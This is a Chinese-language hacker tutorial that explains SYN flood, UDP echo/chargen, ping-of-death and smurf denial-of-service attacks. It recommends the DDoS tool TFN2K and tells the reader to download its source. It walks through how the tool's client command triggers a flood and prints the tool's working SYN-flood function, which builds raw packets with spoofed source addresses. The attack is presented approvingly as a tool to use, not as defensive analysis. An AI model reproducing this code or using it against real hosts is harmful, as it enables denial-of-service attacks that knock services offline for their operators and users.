要求的专业知识:
一: 精通OSI参考模型,精通网络五层:物理层,数据链路层,网络层,传输层,应用层。
精通每一层的协议,数据报格式。精通网络拓扑结构,第一层,第二层,第三层的网
络互联,数据的转发和路由等。
二: 精通C语言程序设计,UNIX/LINUX程序设计,网络程序设计。熟悉UNIX/LINUX系
统操作,熟悉著名服务的基本配置,特性及使用的端口号。熟悉经典网络命令的使用,
如.netstat,ping,traceroute,netcat,arp等。
三: 精通标准SQL语言,熟悉流行的数据库使用,如:Oracle,Mysql等。掌握数据库与
WEB语言的结合使用。
DoS的攻击方式很多,主要使用的攻击有4种,分别是TCP-SYN flood,UDP flood,ICMP,
flood,smurf。
TCP--- 当用户进行一次标准的TCP连接时,会有一个3次握手过程。首先是请求服务方发送一个SYN消息,
服务方收到SYN后,会向请求方回送一个SYN-ACK表示确认,当请求方收到SYN-ACK后,再次向服务方发送一
个ACK消息,这样,一次TCP连接建立成功。但是TCP-SYN flood在实现过程中只进行前2个步骤:当服务方
收到请求方的SYN-ACK确认消息后,请求方由于采用源地址欺骗等手段使得服务方收不到ACK回应,于是,
服务方会在一定时间处于等待接收请求方ACK消息的状态。对于某台服务器来说,可用的TCP连接是有限的
,如果恶意攻击方快速连续地发送此类连接请求,该服务器可用的TCP连接队列将很快被阻塞,系统可用资
源急剧减少,网络可用带宽迅速缩小,长此下去,网络将无法向用户提供正常的服务。
UDP---- 由于UDP(用户数据包协议)在网络中的应用比较广泛,基于UDP攻击种类也较多。如今在
Internet上提供WWW和Mail等服务设备通常是使用Unix的服务器,它们默认一些被恶意利用的UDP服务,如
echo和chargen服务,它会显示接收到的每一个数据包,而原本作为测试功能的chargen服务会在收到每一
个数据包时随机反馈一些字符,如果恶意攻击者将这2个UDP服务互指,则网络可用带宽将很快耗尽。
ICMP----由于在早期的阶段,路由器对包的最大尺寸都有限制,许多操作系统对TCP/IP栈的实现在ICMP包
上都是规定64KB,并且在对包的标题头进行读取之后,要根据该标题头里包含的信息来为有效载荷生成缓
冲区,当产生畸形的,声称自己的尺寸超过ICMP上限的包也就是加载的尺寸超过64K上限时,就会出现内存
分配错误,导致TCP/IP堆栈崩溃,致使接受方当机。如果对方的操作系统已经可以防御堆栈崩溃,也占去
许多带宽。
Smurf----一个简单的smurf攻击通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)
数据包来淹没受害主机的方式进行,最终导致该网络的所有主机都对此ICMP应答请求作出答复,导致网络
阻塞,比ping of death洪水的流量高出一或两个数量级。更加复杂的Smurf将源地址改为第三方的受害
者,最终导致第三方雪崩。
Wonderful tool,such as tfn2k.有这么好的东西,而且它的代码又是如此的简单,我想我没有
必要再写一个示范性的代码了,既省了力气,又不会丢人现眼。哈哈。
先下载其源代码包 tfn2k.tgz,网上处可以找到,其使用方法,也不多说。
简单说一下吧。use tcp-syn as example:
td进程的main调用tribe_cmd,tribe_cmd根据参数id来调用相应例程,当id是ID_SENDSYN,则调用
commence_syn,commence_syn生成一个子进程(fork),这个子进程里有一个while(1),里面调用syn
函数,也就是发送攻击的主要函数了,下面给出了。
也许有人不能明白,参数id从何而来,那是client端tfn发给server端td的,其实也就是来自用户的输入。
即:tfn -h host -c id -i target 命令中的id.
24 syn (unsigned long victim, unsigned short port)
25 {
26 struct sa sin;
27 struct ip *ih = (struct ip *) synb;
28 struct tcp *th = (struct tcp *) (synb + sizeof (struct ip));
29 ih->ver = 4;
30 ih->ihl = 5;
31 ih->tos = 0x00;
32 ih->tl = sizeof (ih) + sizeof (th);
33 ih->id = htons (getrandom (1024, 65535));
34 ih->off = 0;
35 ih->ttl = getrandom (200, 255);
36 ih->pro = TCP;
37 ih->sum = 0;
38 ih->src = k00lip ();
39 ih->dst = victim;
40 th->src = htons (getrandom (0, 65535));
41 if (port > 0)
42 th->dst = htons (port);
43 else
44 th->dst = htons (getrandom (0, 65535));
45 th->seq = htonl (getrandom (0, 65535) + (getrandom (0, 65535) << 8));
46 th->ack = htons (getrandom (0, 65535));
47 th->flg = SYN | URG;
48 th->win = htons (getrandom (0, 65535));
49 th->sum = 0;
50 th->urp = htons (getrandom (0, 65535));
51 th->sum = ip_sum ((u16 *) synb, (sizeof (struct ip) + sizeof (struct tcp) + 1) & ~1);
52 ih->sum = ip_sum ((u16 *) synb, (4 * ih->ihl + sizeof (struct tcp) + 1) & ~1);
53 sin.fam = AF_INET;
54 sin.dp = th->dst;
55 sin.add = ih->dst;
56 sendto (rawsock, synb, 4 * ih->ihl + sizeof (struct tcp), 0, (struct sockaddr *) &sin, sizeof (sin));
57 }
其文纯属盗版,真没劲,但又没有比这更好的主意了,shit!